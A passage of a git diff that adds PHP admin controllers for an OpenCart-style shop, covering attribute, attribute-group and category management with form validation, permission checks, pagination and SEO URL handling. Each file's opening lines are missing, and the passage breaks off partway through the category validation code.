+ } else {
+ $data['sort_order'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/attribute_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'catalog/attribute')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if (!$this->request->post['attribute_group_id']) {
+ $this->error['attribute_group'] = $this->language->get('error_attribute_group');
+ }
+
+ foreach ($this->request->post['attribute_description'] as $language_id => $value) {
+ if ((utf8_strlen($value['name']) < 1) || (utf8_strlen($value['name']) > 64)) {
+ $this->error['name'][$language_id] = $this->language->get('error_name');
+ }
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'catalog/attribute')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('catalog/product');
+
+ foreach ($this->request->post['selected'] as $attribute_id) {
+ $product_total = $this->model_catalog_product->getTotalProductsByAttributeId($attribute_id);
+
+ if ($product_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_product'), $product_total);
+ }
+ }
+
+ return !$this->error;
+ }
+
+ public function autocomplete() {
+ $json = array();
+
+ if (isset($this->request->get['filter_name'])) {
+ $this->load->model('catalog/attribute');
+
+ $filter_data = array(
+ 'filter_name' => $this->request->get['filter_name'],
+ 'start' => 0,
+ 'limit' => $this->config->get('config_limit_autocomplete')
+ );
+
+ $results = $this->model_catalog_attribute->getAttributes($filter_data);
+
+ foreach ($results as $result) {
+ $json[] = array(
+ 'attribute_id' => $result['attribute_id'],
+ 'name' => strip_tags(html_entity_decode($result['name'], ENT_QUOTES, 'UTF-8')),
+ 'attribute_group' => $result['attribute_group']
+ );
+ }
+ }
+
+ $sort_order = array();
+
+ foreach ($json as $key => $value) {
+ $sort_order[$key] = $value['name'];
+ }
+
+ array_multisort($sort_order, SORT_ASC, $json);
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
diff --git a/public/admin/controller/catalog/attribute_group.php b/public/admin/controller/catalog/attribute_group.php
new file mode 100644
index 0000000..6081655
--- /dev/null
+++ b/public/admin/controller/catalog/attribute_group.php
@@ -0,0 +1,359 @@
+load->language('catalog/attribute_group');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/attribute_group');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('catalog/attribute_group');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/attribute_group');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_catalog_attribute_group->addAttributeGroup($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/attribute_group', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('catalog/attribute_group');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/attribute_group');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_catalog_attribute_group->editAttributeGroup($this->request->get['attribute_group_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/attribute_group', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('catalog/attribute_group');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/attribute_group');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $attribute_group_id) {
+ $this->model_catalog_attribute_group->deleteAttributeGroup($attribute_group_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/attribute_group', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'agd.name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/attribute_group', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('catalog/attribute_group/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('catalog/attribute_group/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['attribute_groups'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $attribute_group_total = $this->model_catalog_attribute_group->getTotalAttributeGroups();
+
+ $results = $this->model_catalog_attribute_group->getAttributeGroups($filter_data);
+
+ foreach ($results as $result) {
+ $data['attribute_groups'][] = array(
+ 'attribute_group_id' => $result['attribute_group_id'],
+ 'name' => $result['name'],
+ 'sort_order' => $result['sort_order'],
+ 'edit' => $this->url->link('catalog/attribute_group/edit', 'user_token=' . $this->session->data['user_token'] . '&attribute_group_id=' . $result['attribute_group_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('catalog/attribute_group', 'user_token=' . $this->session->data['user_token'] . '&sort=agd.name' . $url, true);
+ $data['sort_sort_order'] = $this->url->link('catalog/attribute_group', 'user_token=' . $this->session->data['user_token'] . '&sort=ag.sort_order' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $attribute_group_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('catalog/attribute_group', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($attribute_group_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($attribute_group_total - $this->config->get('config_limit_admin'))) ? $attribute_group_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $attribute_group_total, ceil($attribute_group_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/attribute_group_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['attribute_group_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/attribute_group', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['attribute_group_id'])) {
+ $data['action'] = $this->url->link('catalog/attribute_group/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('catalog/attribute_group/edit', 'user_token=' . $this->session->data['user_token'] . '&attribute_group_id=' . $this->request->get['attribute_group_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('catalog/attribute_group', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['attribute_group_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $attribute_group_info = $this->model_catalog_attribute_group->getAttributeGroup($this->request->get['attribute_group_id']);
+ }
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['attribute_group_description'])) {
+ $data['attribute_group_description'] = $this->request->post['attribute_group_description'];
+ } elseif (isset($this->request->get['attribute_group_id'])) {
+ $data['attribute_group_description'] = $this->model_catalog_attribute_group->getAttributeGroupDescriptions($this->request->get['attribute_group_id']);
+ } else {
+ $data['attribute_group_description'] = array();
+ }
+
+ if (isset($this->request->post['sort_order'])) {
+ $data['sort_order'] = $this->request->post['sort_order'];
+ } elseif (!empty($attribute_group_info)) {
+ $data['sort_order'] = $attribute_group_info['sort_order'];
+ } else {
+ $data['sort_order'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/attribute_group_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'catalog/attribute_group')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['attribute_group_description'] as $language_id => $value) {
+ if ((utf8_strlen($value['name']) < 1) || (utf8_strlen($value['name']) > 64)) {
+ $this->error['name'][$language_id] = $this->language->get('error_name');
+ }
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'catalog/attribute_group')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('catalog/attribute');
+
+ foreach ($this->request->post['selected'] as $attribute_group_id) {
+ $attribute_total = $this->model_catalog_attribute->getTotalAttributesByAttributeGroupId($attribute_group_id);
+
+ if ($attribute_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_attribute'), $attribute_total);
+ }
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/catalog/category.php b/public/admin/controller/catalog/category.php
new file mode 100644
index 0000000..125671e
--- /dev/null
+++ b/public/admin/controller/catalog/category.php
@@ -0,0 +1,802 @@
+load->language('catalog/category');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/category');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('catalog/category');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/category');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_catalog_category->addCategory($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/category', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('catalog/category');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/category');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_catalog_category->editCategory($this->request->get['category_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/category', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('catalog/category');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/category');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $category_id) {
+ $this->model_catalog_category->deleteCategory($category_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/category', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ public function repair() {
+ $this->load->language('catalog/category');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/category');
+
+ if ($this->validateRepair()) {
+ $this->model_catalog_category->repairCategories();
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/category', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/category', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+ $data['add'] = $this->url->link('catalog/category/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('catalog/category/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['repair'] = $this->url->link('catalog/category/repair', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['enabled'] = $this->url->link('catalog/category/enable', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['disabled'] = $this->url->link('catalog/category/disable', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['path'])) {
+ if ($this->request->get['path'] != '') {
+ $this->path = explode('_', $this->request->get['path']);
+ $this->category_id = end($this->path);
+ $this->session->data['path'] = $this->request->get['path'];
+ } else {
+ unset($this->session->data['path']);
+ }
+ } elseif (isset($this->session->data['path'])) {
+ $this->path = explode('_', $this->session->data['path']);
+ $this->category_id = end($this->path);
+ }
+
+ $data['categories'] = $this->getCategories(0);
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ $category_total = $this->model_catalog_category->getTotalCategories();
+
+ $data['results'] = $this->language->get('text_category_total') . ($category_total);
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/category_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['category_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = array();
+ }
+
+ if (isset($this->error['meta_title'])) {
+ $data['error_meta_title'] = $this->error['meta_title'];
+ } else {
+ $data['error_meta_title'] = array();
+ }
+
+ if (isset($this->error['meta_h1'])) {
+ $data['error_meta_h1'] = $this->error['meta_h1'];
+ } else {
+ $data['error_meta_h1'] = array();
+ }
+
+ if (isset($this->error['keyword'])) {
+ $data['error_keyword'] = $this->error['keyword'];
+ } else {
+ $data['error_keyword'] = '';
+ }
+
+ if (isset($this->error['parent'])) {
+ $data['error_parent'] = $this->error['parent'];
+ } else {
+ $data['error_parent'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/category', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['category_id'])) {
+ $data['action'] = $this->url->link('catalog/category/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('catalog/category/edit', 'user_token=' . $this->session->data['user_token'] . '&category_id=' . $this->request->get['category_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('catalog/category', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['category_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $category_info = $this->model_catalog_category->getCategory($this->request->get['category_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['category_description'])) {
+ $data['category_description'] = $this->request->post['category_description'];
+ } elseif (isset($this->request->get['category_id'])) {
+ $data['category_description'] = $this->model_catalog_category->getCategoryDescriptions($this->request->get['category_id']);
+ } else {
+ $data['category_description'] = array();
+ }
+
+ $language_id = $this->config->get('config_language_id');
+ if (isset($data['category_description'][$language_id]['name'])) {
+ $data['heading_title'] = $data['category_description'][$language_id]['name'];
+ }
+
+ if (isset($this->request->post['path'])) {
+ $data['path'] = $this->request->post['path'];
+ } elseif (!empty($category_info)) {
+ $data['path'] = $category_info['path'];
+ } else {
+ $data['path'] = '';
+ }
+
+ if (isset($this->request->post['parent_id'])) {
+ $data['parent_id'] = $this->request->post['parent_id'];
+ } elseif (!empty($category_info)) {
+ $data['parent_id'] = $category_info['parent_id'];
+ } else {
+ $data['parent_id'] = 0;
+ }
+
+ $this->load->model('catalog/filter');
+
+ if (isset($this->request->post['category_filter'])) {
+ $filters = $this->request->post['category_filter'];
+ } elseif (isset($this->request->get['category_id'])) {
+ $filters = $this->model_catalog_category->getCategoryFilters($this->request->get['category_id']);
+ } else {
+ $filters = array();
+ }
+
+ $data['category_filters'] = array();
+
+ foreach ($filters as $filter_id) {
+ $filter_info = $this->model_catalog_filter->getFilter($filter_id);
+
+ if ($filter_info) {
+ $data['category_filters'][] = array(
+ 'filter_id' => $filter_info['filter_id'],
+ 'name' => $filter_info['group'] . ' > ' . $filter_info['name']
+ );
+ }
+ }
+
+ $this->load->model('setting/store');
+
+ $data['stores'] = array();
+
+ $data['stores'][] = array(
+ 'store_id' => 0,
+ 'name' => $this->language->get('text_default')
+ );
+
+ $stores = $this->model_setting_store->getStores();
+
+ foreach ($stores as $store) {
+ $data['stores'][] = array(
+ 'store_id' => $store['store_id'],
+ 'name' => $store['name']
+ );
+ }
+
+ if (isset($this->request->post['category_store'])) {
+ $data['category_store'] = $this->request->post['category_store'];
+ } elseif (isset($this->request->get['category_id'])) {
+ $data['category_store'] = $this->model_catalog_category->getCategoryStores($this->request->get['category_id']);
+ } else {
+ $data['category_store'] = array(0);
+ }
+
+ if (isset($this->request->post['image'])) {
+ $data['image'] = $this->request->post['image'];
+ } elseif (!empty($category_info)) {
+ $data['image'] = $category_info['image'];
+ } else {
+ $data['image'] = '';
+ }
+
+ $this->load->model('tool/image');
+
+ if (isset($this->request->post['image']) && is_file(DIR_IMAGE . $this->request->post['image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($this->request->post['image'], 100, 100);
+ } elseif (!empty($category_info) && is_file(DIR_IMAGE . $category_info['image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($category_info['image'], 100, 100);
+ } else {
+ $data['thumb'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+ }
+
+ $data['placeholder'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+
+ if (isset($this->request->post['top'])) {
+ $data['top'] = $this->request->post['top'];
+ } elseif (!empty($category_info)) {
+ $data['top'] = $category_info['top'];
+ } else {
+ $data['top'] = 0;
+ }
+
+ if (isset($this->request->post['column'])) {
+ $data['column'] = $this->request->post['column'];
+ } elseif (!empty($category_info)) {
+ $data['column'] = $category_info['column'];
+ } else {
+ $data['column'] = 1;
+ }
+
+ if (isset($this->request->post['sort_order'])) {
+ $data['sort_order'] = $this->request->post['sort_order'];
+ } elseif (!empty($category_info)) {
+ $data['sort_order'] = $category_info['sort_order'];
+ } else {
+ $data['sort_order'] = 0;
+ }
+
+ if (isset($this->request->post['product_related'])) {
+ $products = $this->request->post['product_related'];
+ } elseif (isset($category_info)) {
+ $products = $this->model_catalog_category->getProductRelated($this->request->get['category_id']);
+ } else {
+ $products = array();
+ }
+
+ $data['product_related'] = array();
+
+ $this->load->model('catalog/product');
+
+ foreach ($products as $product_id) {
+ $related_info = $this->model_catalog_product->getProduct($product_id);
+
+ if ($related_info) {
+ $data['product_related'][] = array(
+ 'product_id' => $related_info['product_id'],
+ 'name' => $related_info['name']
+ );
+ }
+ }
+
+ if (isset($this->request->post['article_related'])) {
+ $articles = $this->request->post['article_related'];
+ } elseif (isset($category_info)) {
+ $articles = $this->model_catalog_category->getArticleRelated($this->request->get['category_id']);
+ } else {
+ $articles = array();
+ }
+
+ $data['article_related'] = array();
+
+ $this->load->model('blog/article');
+
+ foreach ($articles as $article_id) {
+ $related_info = $this->model_blog_article->getArticle($article_id);
+
+ if ($related_info) {
+ $data['article_related'][] = array(
+ 'article_id' => $related_info['article_id'],
+ 'name' => $related_info['name']
+ );
+ }
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($category_info)) {
+ $data['status'] = $category_info['status'];
+ } else {
+ $data['status'] = true;
+ }
+
+ if (isset($this->request->post['category_seo_url'])) {
+ $data['category_seo_url'] = $this->request->post['category_seo_url'];
+ } elseif (isset($this->request->get['category_id'])) {
+ $data['category_seo_url'] = $this->model_catalog_category->getCategorySeoUrls($this->request->get['category_id']);
+ } else {
+ $data['category_seo_url'] = array();
+ }
+
+ if (isset($this->request->post['noindex'])) {
+ $data['noindex'] = $this->request->post['noindex'];
+ } elseif (!empty($category_info)) {
+ $data['noindex'] = $category_info['noindex'];
+ } else {
+ $data['noindex'] = 1;
+ }
+
+ if (isset($this->request->post['category_layout'])) {
+ $data['category_layout'] = $this->request->post['category_layout'];
+ } elseif (isset($this->request->get['category_id'])) {
+ $data['category_layout'] = $this->model_catalog_category->getCategoryLayouts($this->request->get['category_id']);
+ } else {
+ $data['category_layout'] = array();
+ }
+
+ $this->load->model('design/layout');
+
+ $data['layouts'] = $this->model_design_layout->getLayouts();
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/category_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'catalog/category')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['category_description'] as $language_id => $value) {
+ if ((utf8_strlen($value['name']) < 1) || (utf8_strlen($value['name']) > 255)) {
+ $this->error['name'][$language_id] = $this->language->get('error_name');
+ }
+
+ if ((utf8_strlen($value['meta_title']) < 0) || (utf8_strlen($value['meta_title']) > 255)) {
+ $this->error['meta_title'][$language_id] = $this->language->get('error_meta_title');
+ }
+
+ if ((utf8_strlen($value['meta_h1']) < 0) || (utf8_strlen($value['meta_h1']) > 255)) {
+ $this->error['meta_h1'][$language_id] = $this->language->get('error_meta_h1');
+ }
+ }
+
+ if (isset($this->request->get['category_id']) && $this->request->post['parent_id']) {
+ $results = $this->model_catalog_category->getCategoryPath($this->request->post['parent_id']);
+
+ foreach ($results as $result) {
+ if ($result['path_id'] == $this->request->get['category_id']) {
+ $this->error['parent'] = $this->language->get('error_parent');
+
+ break;
+ }
+ }
+ }
+
+ if (isset($this->request->post['category_seo_url']) && is_array($this->request->post['category_seo_url'])) {
+ foreach ($this->request->post['category_seo_url'] as $store_id => &$languages) {
+ foreach ($languages as $language_id => &$keyword) {
+ if (!empty($keyword)) {
+ $keyword = translit($keyword);
+ }
+ }
+ }
+ }
+
+ if (isset($this->request->post['category_description'])) {
+ foreach ($this->request->post['category_description'] as $language_id => $value) {
+ if (!empty($value['name'])) {
+ if (!isset($this->request->post['category_seo_url'][0][$language_id]) || trim($this->request->post['category_seo_url'][0][$language_id]) === '') {
+ $this->request->post['category_seo_url'][0][$language_id] = translit($value['name']);
+ }
+ }
+ }
+ }
+
+ if ($this->request->post['category_seo_url']) {
+ $this->load->model('design/seo_url');
+
+ foreach ($this->request->post['category_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ if (count(array_keys($language, $keyword)) > 1) {
+ $this->error['keyword'][$store_id][$language_id] = $this->language->get('error_unique');
+ }
+
+ $seo_urls = $this->model_design_seo_url->getSeoUrlsByKeyword($keyword);
+
+ foreach ($seo_urls as $seo_url) {
